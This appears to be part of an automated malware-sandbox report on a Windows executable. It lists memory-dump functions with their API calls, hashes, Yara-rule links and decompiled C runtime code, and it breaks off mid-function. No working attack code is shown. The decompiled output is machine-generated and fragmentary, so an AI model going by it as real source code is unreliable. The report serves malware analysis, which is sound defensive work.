Opcode Fuzzy Hash: 1190dc66188153b489103a0274a88a1b845ef456a64c133579c5924f79484bec
Instruction Fuzzy Hash: DC510670D042188FEB14CFA9C894BEDBBB1FF48314F55816AE815BB391DBB4A844CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05BB6EFC, Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 05BB7043

Memory Dump Source

Source File: 0000000B.00000002.920095463.0000000005BB0000.00000040.00000001.sdmp, Offset: 05BB0000, based on PE: false

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 966257b4a4c07035c6850f54ebccc24ddd14bbe87ebee21e32fb902baf418b38
Instruction ID: c559b58e1c51d26bbf8f0c8e3c599a8dbf2d34900c6f1bec2a42a29d8afe008a
Opcode Fuzzy Hash: 966257b4a4c07035c6850f54ebccc24ddd14bbe87ebee21e32fb902baf418b38
Instruction Fuzzy Hash: 5D511670E002188FEB14CFA9C8857EDBBB1FF48314F55816AE815BB391DBB4A844CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05BB475C, Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 05BB7043

Memory Dump Source

Source File: 0000000B.00000002.920095463.0000000005BB0000.00000040.00000001.sdmp, Offset: 05BB0000, based on PE: false

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 57352d6f526d816c0cb77722a61d126bf655e33445d33b2ddffdd74e883a3401
Instruction ID: 9380f3f6feabd70de6f7b0403dcd67c72d8d73a4c8deed94fb0653bb2d1cd618
Opcode Fuzzy Hash: 57352d6f526d816c0cb77722a61d126bf655e33445d33b2ddffdd74e883a3401
Instruction Fuzzy Hash: 2151F570D042188FEB14CFA9C894BEDBBB1FF48314F55816AE815BB391DBB4A844CB95

Uniqueness

Uniqueness Score: -1.00%

Function 04A70ACB, Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04A70BE2

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 9eb3cb7e963b572b617e301a5c4ca4fdf74beff9868c3b9c0bdb0ee00b63dfa2
Instruction ID: 488f57f71c82f5b5fb8e0e551c4a1fcfe647e3c45a1e4b5bae82889c58741c7c
Opcode Fuzzy Hash: 9eb3cb7e963b572b617e301a5c4ca4fdf74beff9868c3b9c0bdb0ee00b63dfa2
Instruction Fuzzy Hash: 3A41CDB1D042489FDB14CFA9C884ADEBBB5FF88314F24852AE818AB250D774A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04A70AD0, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04A70BE2

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 710a96314488f0f9265f29f71af8b6aa445008fbf3ad1ef2b6d9a58c938addf2
Instruction ID: 6dad777d1fd17dec354bb855c26d40bc630a7333d7508b35ce32114dfe8771f4
Opcode Fuzzy Hash: 710a96314488f0f9265f29f71af8b6aa445008fbf3ad1ef2b6d9a58c938addf2
Instruction Fuzzy Hash: 2141C0B1D0434D9FDB14CFA9C884ADEBBB5FF88314F24852AE818AB250D774A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04A7228C, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04A73639

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 134f730939b9606712d9fdbe18a31ddf007c6152f905373fe250abeb9e8af64f
Instruction ID: 64d06b6c70fd151dcf83cd041ea13cf23150ddcc76bd4271daf54c55e25c68a5
Opcode Fuzzy Hash: 134f730939b9606712d9fdbe18a31ddf007c6152f905373fe250abeb9e8af64f
Instruction Fuzzy Hash: A24129B4A00249CFDB14CF99C888AABBBF5FF88314F15C459D519AB321D375A841DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A7276F, Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 04A72737

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9c8240c9dd9e47f5641bbaef45c6cdff99678283dc5fb837dfdd306a34d147a2
Instruction ID: 19afe7cdf1dc2b52f687564df4c3a58af992fa74d739546bf21b9d5d92782fd0
Opcode Fuzzy Hash: 9c8240c9dd9e47f5641bbaef45c6cdff99678283dc5fb837dfdd306a34d147a2
Instruction Fuzzy Hash: F3414174A80344DFEB05EF60E99476A3BBAF749311F114429E9068B7C9DBB45C9ACF10

Uniqueness

Uniqueness Score: -1.00%

Function 04A726A8, Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 04A72737

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5ef793105859bb48587ce5f820354bf0fd418a9994ea06110b727e7a105e4137
Instruction ID: e9f33de3b107e9f3a16a37adc8a4431b50305ad1c139da350f7cdb21c2e0e9e5
Opcode Fuzzy Hash: 5ef793105859bb48587ce5f820354bf0fd418a9994ea06110b727e7a105e4137
Instruction Fuzzy Hash: 633135B6900258EFDB11CF99D884ADEBBF5FF48310F15806AE914A7360C335AA55CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A7F604, Relevance: 1.6, APIs: 1, Instructions: 90libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 04A7F6DA

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a9ad89e6b0eb1507f0b7c1be02377ee78eb247f67f0eb157ec189671a1d1f3d2
Instruction ID: 5ffa4692ad839f4e7a0aecac6a98a099ea6aef5d60c752e2b0eccb5e99993f98
Opcode Fuzzy Hash: a9ad89e6b0eb1507f0b7c1be02377ee78eb247f67f0eb157ec189671a1d1f3d2
Instruction Fuzzy Hash: B93123B0D102899FDF24CFA9C88579EBBF1FB08304F14852AE815AB390D774A546CF95

Uniqueness

Uniqueness Score: -1.00%

Function 023EB3C0, Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 023EB494

Memory Dump Source

Source File: 0000000B.00000002.916562795.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5a9ffc4cef5fd7e5ccccf95e2e75ba236d5fde5f036c7c3d34031ef4532141c6
Instruction ID: 9ea3e91a3bd4101bb6552496aaea813fc58e34c8b0c6733665a5bd7b522d24a6
Opcode Fuzzy Hash: 5a9ffc4cef5fd7e5ccccf95e2e75ba236d5fde5f036c7c3d34031ef4532141c6
Instruction Fuzzy Hash: 2C3105B0E006688FDF11CFA9D88579EFBF2BF48318F14852AD816A7280DB749445CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04A7C97C, Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 04A7F6DA

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7fb42356a3b0e1716eb805c9064e0e88d6bf81767ac4c88c1de8fe7d93ba0be4
Instruction ID: acb362a9e42f7e8aa574c0d0f4dcd5bd43c6bfd8539774c84c1904e5c9a6403c
Opcode Fuzzy Hash: 7fb42356a3b0e1716eb805c9064e0e88d6bf81767ac4c88c1de8fe7d93ba0be4
Instruction Fuzzy Hash: F23123B0D102899FDF24CFA9C88579EBBF1FB08304F14852AE815AB390D774A945CF95

Uniqueness

Uniqueness Score: -1.00%

Function 04A726B0, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 04A72737

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7b9f71e72b092843bf7b06e436968071ec86c9ed7f246726c84b2ef07ca5e7e2
Instruction ID: 344b139620cb5a3f558d3c1b456a7485089bd9ad9658f505836e36f929b55095
Opcode Fuzzy Hash: 7b9f71e72b092843bf7b06e436968071ec86c9ed7f246726c84b2ef07ca5e7e2
Instruction Fuzzy Hash: 0721E2B5900258DFDB10CFAAD884ADEFBF8FB48310F14841AE914A7310C374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A779D7, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04A77A62

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 1acd17c1290bde9909cf7c887c42723eb60de31141971f0d018683827ecc2873
Instruction ID: b23d89db6b51406c5db960cf7b703af5bd7054f49d84b01ada0d5499dd921432
Opcode Fuzzy Hash: 1acd17c1290bde9909cf7c887c42723eb60de31141971f0d018683827ecc2873
Instruction Fuzzy Hash: 07219D799013498FDB20DFA9D84879EBFF4FB49324F14842AD809A7241D7386656CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A779E8, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04A77A62

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 3b56115ebe6021a4c13c0b4cb31bf32fdfe790853131fe0a13c636c933ffdf12
Instruction ID: f9a6086cbef14ae95cabe7c51eb0d3e4d5d3c97f930726d6f7b7312593a92c39
Opcode Fuzzy Hash: 3b56115ebe6021a4c13c0b4cb31bf32fdfe790853131fe0a13c636c933ffdf12
Instruction Fuzzy Hash: A0117F79900309CFEB20DF69C84879FBBF4FB48314F508429D405A7640C7386955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 023EB210, Relevance: 1.6, APIs: 1, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 023EB283

Memory Dump Source

Source File: 0000000B.00000002.916562795.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9d391ba4db78018a5abd7ce4b927c1dcef0de55170b0008d775277255bf030d3
Instruction ID: 8daf6b2d5a7b5aa57f983971bc356b0e32b6cd86db68be663f4b9e43d232c10c
Opcode Fuzzy Hash: 9d391ba4db78018a5abd7ce4b927c1dcef0de55170b0008d775277255bf030d3
Instruction Fuzzy Hash: 7E11BFB59006599FCB10CF9AD484BDEFBF4FB48324F10842AE969A7250D375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040D534, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040d549
0x0040d54f
0x0040d556
0x0040d55d
0x0040d563
0x0040d559
0x0040d559
0x0040d559

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Uniqueness

Uniqueness Score: -1.00%

Function 004104E0, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004104E0() {
				void* _t1;

				_t1 = E0041046E(0); // executed
				return _t1;
			}

0x004104e2
0x004104e8

APIs

__encode_pointer.LIBCMT ref: 004104E2

Part of subcall function 0041046E: TlsGetValue.KERNEL32(00000000,?,004104E7,00000000,00413B8E,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library,00012010), ref: 00410480
Part of subcall function 0041046E: TlsGetValue.KERNEL32(FFFFFFFF,?,004104E7,00000000,00413B8E,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library,00012010), ref: 00410497
Part of subcall function 0041046E: RtlEncodePointer.NTDLL(00000000,?,004104E7,00000000,00413B8E,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library,00012010), ref: 004104D5

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 0e51a9b5fb3a4ef556cbf6530202f05b5f2c67c7b2b168a65c09d71fd2c62196
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 023EBE50, Relevance: 1.3, APIs: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 023EBEB8

Memory Dump Source

Source File: 0000000B.00000002.916562795.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5eac3a0e2ac68c4597f59b4fa3a1c3599c29dca91251c7e4dec1f5875d574fce
Instruction ID: 450a4a7df01cce0e67f1255876884182fb84e0f829158795d7925d8a0cfeea9e
Opcode Fuzzy Hash: 5eac3a0e2ac68c4597f59b4fa3a1c3599c29dca91251c7e4dec1f5875d574fce
Instruction Fuzzy Hash: F61132B59002488FCB20DF9AD888BCFFBF4FB88324F10841AE519A7250C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0063D674, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915838697.000000000063D000.00000040.00000001.sdmp, Offset: 0063D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8a3a4b5ed08364f288a101c599e40a247a269eed465698f7afd3fe4e824bd3c
Instruction ID: 3b0c01fb0cd2078207b3e8853bd25967338f12e449bca40d624945940bf998ab
Opcode Fuzzy Hash: f8a3a4b5ed08364f288a101c599e40a247a269eed465698f7afd3fe4e824bd3c
Instruction Fuzzy Hash: 2A2125B5504244DFCB15CF20E8C0F6ABB76FB88314F2485A9E9094B346C336D816DBE2

Uniqueness

Uniqueness Score: -1.00%

Function 0063D588, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915838697.000000000063D000.00000040.00000001.sdmp, Offset: 0063D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 476769828d15379d9a8e2e6ba7014b06cb63e288c0310cda9f0febd8bdf522d0
Instruction ID: dd32f60b25946bd9fe3d58351d040e2ab45417923ff27a6913f0ee36cbc40161
Opcode Fuzzy Hash: 476769828d15379d9a8e2e6ba7014b06cb63e288c0310cda9f0febd8bdf522d0
Instruction Fuzzy Hash: 952134B5504204DFCB05CF10E9C1F2ABB66FB98328F3485A9E9094B346C336D856DBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0064D01C, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915887998.000000000064D000.00000040.00000001.sdmp, Offset: 0064D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1540f00c36c9f6edcee3c5b58361d72e311a41e85f5dbe578c36af27b836094
Instruction ID: 665e1f6cc56dff754f9eb4938582167539aca400370b3478a38798e7a5c5f605
Opcode Fuzzy Hash: d1540f00c36c9f6edcee3c5b58361d72e311a41e85f5dbe578c36af27b836094
Instruction Fuzzy Hash: 9421F2B5904244DFCB14DF14D9C4B2ABBA6FB88B24F248569E9054B346C336D84BDBB2

Uniqueness

Uniqueness Score: -1.00%

Function 0064D104, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915887998.000000000064D000.00000040.00000001.sdmp, Offset: 0064D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f259541110f7573b32787b80b5bed9be06928fbcb58035b58148b4d4b61a838
Instruction ID: 1ef01fe3ad8d3aa6b7228176e91301260b15c1e77747ce75a3ce4b1161d3fd32
Opcode Fuzzy Hash: 9f259541110f7573b32787b80b5bed9be06928fbcb58035b58148b4d4b61a838
Instruction Fuzzy Hash: F021D4B5A04244EFDB04CF20D9C4B26BBA6FB88314F24C5A9ED494B346C376D846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0063D66F, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915838697.000000000063D000.00000040.00000001.sdmp, Offset: 0063D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8744f43bb33ec81b49662482e5ff17b35840bffc46d932028fa20f3745a1f61b
Instruction ID: 2122c94920ea54f1d582590f10c0bea7e31627f95be37b5d9e2b8de3f0b1b016
Opcode Fuzzy Hash: 8744f43bb33ec81b49662482e5ff17b35840bffc46d932028fa20f3745a1f61b
Instruction Fuzzy Hash: 32118176504280DFCB16CF10D9C4B5ABF72FB98324F24C6A9D8454B656C336D85ACBE2

Uniqueness

Uniqueness Score: -1.00%

Function 0063D583, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915838697.000000000063D000.00000040.00000001.sdmp, Offset: 0063D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8744f43bb33ec81b49662482e5ff17b35840bffc46d932028fa20f3745a1f61b
Instruction ID: 4ed32a87b68f7157d44bcc8d8a9c662ef8836b5da32acf857140d5073d611e55
Opcode Fuzzy Hash: 8744f43bb33ec81b49662482e5ff17b35840bffc46d932028fa20f3745a1f61b
Instruction Fuzzy Hash: E211D376404280CFCB12CF10E9C4B5ABF72FB99324F24C6A9D8090B316C336D85ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0064D017, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915887998.000000000064D000.00000040.00000001.sdmp, Offset: 0064D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9d6ba1eeb297cf4e8d5f889ad10540b8ab608594260bfec01ad871216abcdde
Instruction ID: 53bd049479c2b6b3c6a29dfec297c7897622553b0416395ca6d55e2328f8b44d
Opcode Fuzzy Hash: f9d6ba1eeb297cf4e8d5f889ad10540b8ab608594260bfec01ad871216abcdde
Instruction Fuzzy Hash: 8C11B676904280CFCB15CF14D5C4B56BF72FB84714F24C6A9D8454B756C336D85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0064D0FF, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915887998.000000000064D000.00000040.00000001.sdmp, Offset: 0064D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56ddedd3cd09e167a912d9d1e6002d165385ba7f2a18568d1b0156b7887f8a70
Instruction ID: d1511d0f9a6093c14ab741262cc4259c42e30e9e2d4afeb6ab812bfe6825d776
Opcode Fuzzy Hash: 56ddedd3cd09e167a912d9d1e6002d165385ba7f2a18568d1b0156b7887f8a70
Instruction Fuzzy Hash: 3011DD75904280CFDB05CF10C9C4B55BBB2FB88314F28C6A9DC494B756C33AD84ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 0063D01D, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915838697.000000000063D000.00000040.00000001.sdmp, Offset: 0063D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e1fe8448a41bfbf9e73e6aa41a0db7dab8f0599453766ff25322b037a4a28e3
Instruction ID: e114f0da82de01bf2ff2bb354f8423d499e60cca7584a6e6a4a2df139b1308df
Opcode Fuzzy Hash: 6e1fe8448a41bfbf9e73e6aa41a0db7dab8f0599453766ff25322b037a4a28e3
Instruction Fuzzy Hash: B2012B71408344AAE7244E26ECC4BA7BBD8EF41B24F28C05AFD445F342C3799845DAF1

Uniqueness

Uniqueness Score: -1.00%

Function 0063D01C, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.915838697.000000000063D000.00000040.00000001.sdmp, Offset: 0063D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 644d200065bea7722e7390e5da5280fa6146ce14e62cff41e9f12ad73995c786
Instruction ID: 8dd951ff3a38a8211b4a2fa20ffcc824370865563b0bb82e98368f0d748ee7bb
Opcode Fuzzy Hash: 644d200065bea7722e7390e5da5280fa6146ce14e62cff41e9f12ad73995c786
Instruction Fuzzy Hash: BCF0C271404384AEE7248E16DCC4BA2FBA8EB41724F18C05AED484F386C3799844CAF0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040CE09, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0xe793416e
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0xe793416e
				_v812 = _t12;
				_t13 =  *0x422238; // 0x186cbe91
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce0f
0x0040ce11
0x0040ce11
0x00413644
0x00413649
0x0041364f
0x00413655
0x0041365b
0x00413661
0x00413667
0x0041366e
0x00413675
0x0041367c
0x00413683
0x0041368a
0x00413691
0x00413692
0x0041369b
0x004136a3
0x004136ab
0x004136b6
0x004136c0
0x004136c5
0x004136ca
0x004136d4
0x004136de
0x004136e3
0x004136e9
0x004136ee
0x004136fa
0x004136ff
0x00413701
0x00413709
0x00413714
0x00413721
0x00413723
0x00413725
0x0041372a
0x0041373e

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 0000000B.00000002.915498748.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.915533026.0000000000426000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.915550260.000000000045C000.00000040.00000001.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 00408C60, Relevance: 2.9, Strings: 2, Instructions: 377
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00408C60(signed int _a4, intOrPtr _a8, signed int _a12, intOrPtr* _a16, signed int* _a20, signed short* _a24) {
				short _v30;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				signed int _v96;
				signed int _v100;
				signed short* _v104;
				intOrPtr _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed short _v122;
				signed int _v123;
				char _v124;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t214;
				void* _t216;
				signed int _t217;
				signed int _t219;
				intOrPtr _t220;
				signed int _t223;
				signed short _t225;
				signed int _t226;
				signed int _t228;
				signed int _t233;
				signed int _t240;
				signed int _t248;
				signed int _t251;
				void* _t254;
				signed int _t260;
				intOrPtr* _t261;
				signed int _t263;
				signed int _t264;
				signed int _t265;
				short _t270;
				intOrPtr* _t281;
				signed char _t285;
				signed int _t297;
				signed int _t299;
				intOrPtr _t305;
				signed int _t308;
				signed int _t309;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t327;
				signed int _t333;
				signed int _t336;
				char _t337;
				intOrPtr* _t340;
				signed int* _t343;
				signed int _t344;
				signed short* _t345;
				signed int _t348;
				intOrPtr* _t349;
				signed short* _t350;
				intOrPtr _t351;
				intOrPtr _t352;
				signed int _t353;
				void* _t354;

				_t354 =  &_v124;
				_t308 = _a12;
				_t352 = _a8;
				_v64 = 0xbadbad;
				_v60 = 0 << 0x10;
				_v56 = 0 << 0x10;
				_v52 = 0 << 0x10;
				_v48 = 0 << 0x10;
				_v44 = 0 << 0x10;
				_v40 = 0 << 0x10;
				_v36 = 0 << 0x10;
				_t211 = 0;
				if(_t308 > 0) {
					do {
						 *((short*)(_t354 + 0x48 + ( *(_t352 + _t211 * 2) & 0x0000ffff) * 2)) =  *((short*)(_t354 + 0x48 + ( *(_t352 + _t211 * 2) & 0x0000ffff) * 2)) + 1;
						_t211 = _t211 + 1;
					} while (_t211 < _t308);
				}
				_t343 = _a20;
				_t212 =  *_t343;
				_v120 = _t212;
				_t263 = 0xf;
				while( *((short*)(_t354 + 0x48 + _t263 * 2)) == 0) {
					_t263 = _t263 - 1;
					if(_t263 >= 1) {
						continue;
					}
					break;
				}
